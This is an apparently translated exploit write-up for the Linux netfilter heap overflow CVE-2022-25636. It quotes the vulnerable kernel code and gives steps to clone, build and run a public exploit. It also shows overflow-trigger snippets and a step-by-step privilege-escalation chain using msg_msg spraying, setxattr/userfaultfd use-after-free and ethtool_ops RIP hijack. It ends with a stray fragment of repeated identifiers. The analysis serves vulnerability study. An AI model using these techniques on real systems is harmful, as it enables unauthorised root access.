
Detailed technical analysis and exploit write-up for CVE-2022-25636, a Linux kernel netfilter heap overflow vulnerability enabling local privilege escalation via heap spraying and UAF.
[toc]
Vulnerability ID: CVE-2022-25636
Product: linux kernel - netfilter
Affected versions: linux kernel 5.4 ~
Impact: Heap out-of-bounds write in the netfilter kernel module, can lead to privilege escalation when SYS_ADMIN is present.
The vulnerability exists in the netfilter kernel module, located in three .ko files.
nft_dup_netdev.ko
nf_dup_netdev.ko
nf_tables.ko
Direct QEMU booting has issues; the .ko files cannot be loaded. Use VMware dual-machine debugging.
Ubuntu 21.10 can manually replace the kernel:
apt-get install linux-image-5.13.0-30-generic
Then delete the original kernel, compile exp:
git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit
Privilege escalation effect (success rate less than 50%):

The vulnerable function is nft_fwd_dup_netdev_offload:
linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
struct flow_action_entry *entry;
struct net_device *dev;
/* nft_flow_rule_destroy() releases the reference on this device. */
dev = dev_get_by_index(ctx->net, oif);
if (!dev)
return -EOPNOTSUPP;
entry = &flow->rule->action.entries[ctx->num_actions++];//out-of-bounds
entry->id = id;
entry->dev = dev;
return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);
When setting flow->rule->action.entries (this structure is a variable-length structure without bounds checking), there is no heap boundary check, resulting in an out-of-bounds write of an integer (4 or 5) and a pointer.
The function is used in nft_flow_rule_create:
linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create
struct nft_flow_rule *nft_flow_rule_create(struct net *net,
const struct nft_rule *rule)
{
struct nft_offload_ctx *ctx;
struct nft_flow_rule *flow;
int num_actions = 0, err;
struct nft_expr *expr;
expr = nft_expr_first(rule);
while (nft_expr_more(rule, expr)) {//Calculate num_actions based on number of input rules
if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
num_actions++;// Only count rules with NFT_OFFLOAD_F_ACTION flag
expr = nft_expr_next(expr);
}
if (num_actions == 0)
return ERR_PTR(-EOPNOTSUPP);
flow = nft_flow_rule_alloc(num_actions);//Allocate space based on num_actions (variable-length structure)
if (!flow)
return ERR_PTR(-ENOMEM);
expr = nft_expr_first(rule);
//ctx->num_actions initialized to 0 ↓
ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
if (!ctx) {
err = -ENOMEM;
goto err_out;
}
ctx->net = net;
ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;
while (nft_expr_more(rule, expr)) {
if (!expr->ops->offload) {//Call offload based on number of rules
err = -EOPNOTSUPP;
goto err_out;
}
err = expr->ops->offload(ctx, flow, expr);//Call vulnerable function
if (err < 0)
goto err_out;
expr = nft_expr_next(expr);
}
··· ···
··· ···
}
It can be seen that the nft_flow_rule_create function allocates the flow structure based on the number of rule structures passed from userspace and processes them. The num_actions variable is used for counting, but during counting, only rules with the NFT_OFFLOAD_F_ACTION flag are counted, and the structure is allocated accordingly. However, when subsequently calling offload for processing, the loop does not use num_actions but instead iterates the same number of times as the total rules, without checking the NFT_OFFLOAD_F_ACTION flag again. That is, when there are rules without the NFT_OFFLOAD_F_ACTION flag, the number of offload calls exceeds the allocated size of flow->rule->action.entries. Inside offload, the vulnerable function nft_fwd_dup_netdev_offload is called, each time incrementing (initialized to 0). Eventually exceeds the bounds of the array, causing an out-of-bounds write.
Some structures:
struct nft_flow_rule {
__be16 proto;
struct nft_flow_match match;
struct flow_rule *rule;
};
struct flow_rule {
struct flow_match match;
struct flow_action action;
};
struct flow_action {
unsigned int num_entries;
struct flow_action_entry entries[];
};
struct flow_action_entry {
enum flow_action_id id;
enum flow_action_hw_stats hw_stats;
action_destr destructor;
void *destructor_priv;
union {
u32 chain_index; /* FLOW_ACTION_GOTO */
struct net_device *dev; /* FLOW_ACTION_REDIRECT */
··· ···
};
struct flow_action_cookie *cookie; /* user defined action cookie */
};
struct nft_offload_ctx {
struct {
enum nft_offload_dep_type type;
__be16 l3num;
u8 protonum;
} dep;
unsigned int num_actions;
struct net *net;
struct nft_offload_reg regs[NFT_REG32_15 + 1];
};
Call stack:
Reference link: https://www.openwall.com/lists/oss-security/2022/02/21/2
This email explains how to use netfilter with the libmnl and libnftnl libraries in C. The key point to trigger the vulnerability is whether the added rule has the NFT_OFFLOAD_F_ACTION flag. Only rules added with nftnl_expr_alloc("immediate"); have the NFT_OFFLOAD_F_ACTION flag:
for(int i = 0; i < legit_writes; i++) {//Adding expr like this will not cause out-of-bounds
exprs[exprid] = nftnl_expr_alloc("immediate");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
//Adding expr like this will cause out-of-bounds
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
The exploit is not very stable, but the technique is exquisite. The vulnerability writes an uncontrollable pointer at a fixed offset out of bounds. In my opinion, the exploitation difficulty is very high. Let's briefly analyze the techniques. According to the vulnerability code, each out-of-bounds write writes an integer (id, fixed at 4 or 5) and a pointer (*dev), where the pointer points to a struct net_device structure. Here we focus on the dev pointer write:
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
··· ···
entry = &flow->rule->action.entries[ctx->num_actions++];//out-of-bounds
entry->id = id;
entry->dev = dev; //Write a heap address at fixed offset, dev is struct net_device
··· ···
}
Regarding the struct flow_rule structure, since it is a variable-length structure, the size range it can allocate affects whether exploitation is possible (successful).
Relevant structures:
struct flow_rule {
struct flow_match match;
struct flow_action action;
};
struct flow_match {
struct flow_dissector *dissector;
void *mask;
void *key;
};
struct flow_dissector {
unsigned int used_keys; /* each bit repesents presence of one key id */
unsigned short int offset[FLOW_DISSECTOR_KEY_MAX];
};
struct flow_action {
unsigned int num_entries;
struct flow_action_entry entries[];
};
struct flow_action_entry {//size 0x50
enum flow_action_id id;
enum flow_action_hw_stats hw_stats;
action_destr destructor;
void *destructor_priv;
union {
u32 chain_index; /* FLOW_ACTION_GOTO */
struct net_device *dev; /* FLOW_ACTION_REDIRECT */
··· ···
};
struct flow_action_cookie *cookie; /* user defined action cookie */
};
To start the exploit, we first need to leak the address of *dev twice. Since we need to leak two different dev addresses, one is leaked in the parent process and the other in a child process. Use msg_msg to leak (msg_msg technique review). Spray messages of size 0x1040. Due to the structure of msg, it will be split into two segments; the second segment has a length of 0x70. Together with the header pointer, it will be allocated from kmalloc-128. Then release one msg, freeing a kmalloc-128 chunk. Next, use a flow_rule structure with only one rule, which is also kmalloc-128, hoping to allocate the just-freed second segment of the msg to form the following heap layout:

After flow_rule allocates the freed msg_msgseg structure, it will likely be adjacent to other sprayed msg_msgseg structures. Then, one out-of-bounds write will write a net_device heap pointer (dev pointer) at offset 0x8 beyond the bounds. By receiving all the sprayed messages, we can read this heap pointer, completing the address leak for subsequent exploitation, and it will not cause a crash.
Next, leak KASLR to obtain the kernel base. Use the same method: msg_msg + heap spray, spray a bunch of kmalloc-192 messages. This time, use the first segment of msg_msg as the spray target. Then, similar to before, free one, and allocate flow_rule to form the following heap layout:

This time, use a flow_rule structure with two rules, size 0xC0, belonging to kmalloc-192. If we perform out-of-bounds writes 6 times, a *dev pointer will be written at offset 0x18 + 0x50*5, which is exactly at offset 0x28 of the third kmalloc-192 chunk below. If that chunk is a msg_msg structure, it corresponds to the security pointer. If we then use msgrcv to free this msg_msg structure, it will call kfree to free the memory pointed to by the security pointer. This is the arbitrary address free primitive for msg_msg->security. The relevant code is as follows:
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
··· ···
··· ···
free_msg(msg);
··· ···
}
void free_msg(struct msg_msg *msg)
{
··· ···
security_msg_msg_free(msg);
··· ···
}
void security_msg_msg_free(struct msg_msg *msg)
{
call_void_hook(msg_msg_free_security, msg);
kfree(msg->security);
msg->security = NULL;
}
Thus, by receiving the just-sprayed messages, the dev pointer that we overwrote as security will be freed, i.e., the net_device structure is freed. Then use setxattr + userfaulted to attempt to tamper with that heap chunk, completing the UAF. setxattr can allocate kernel heap chunks of any size, write arbitrary content, and then free. This is a common technique in kernel exploitation.
Since there are many free kmalloc-192 chunks in the kernel now, using setxattr once is definitely not enough. So we use multiple threads to call setxattr simultaneously, and use userfaulted to increase the call time and heap chunk occupancy, aiming to allocate more kernel heap chunks and eventually allocate the just-freed net_device structure. Once allocated, we can modify the contents of the net_device structure, changing the dev_addr pointer to point to the netdev_ops pointer, because netdev_ops is initialized to loopback_ops. Also change some name fields to verify successful modification:
((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex
Then, by calling the SIOCGIFHWADDR ioctl on a socket to read the hardware address, we can read the address of loopback_ops to complete the leak. Some useful members of net_device are as follows:
struct net_device {
char name[IFNAMSIZ]; //Modify name to verify correctness
··· ···
const struct net_device_ops *netdev_ops;//Initialized to, used for leaking kernel address
int ifindex;
·· ···
const struct ethtool_ops *ethtool_ops; //Used for hijacking RIP
··· ···
unsigned char addr_len; //Used for reading address length
··· ···
unsigned char *dev_addr; //Tampered to leak address, read by SIOCGIFHWADDR
};
Using the same method with setxattr + userfaulted to achieve UAF. This time, with the kernel address known, we directly tamper with the ethtool_ops of net_device to hijack EIP. Then, using the SIOCETHTOOL ioctl on a socket, it will call a function in ethtool_ops, hijacking RIP, and then we can perform ROP. This was successfully reproduced on Ubuntu 21.10 with kernel version 13.0-30:
exp: https://github.com/Bonfee/CVE-2022-25636

Email: https://www.openwall.com/lists/oss-security/2022/02/21/2
Author's document: https://nickgregory.me/linux/security/2022/03/12/cve-2022-25636/
ctx->num_actionsctx->num_actionsflow->rule->action.entries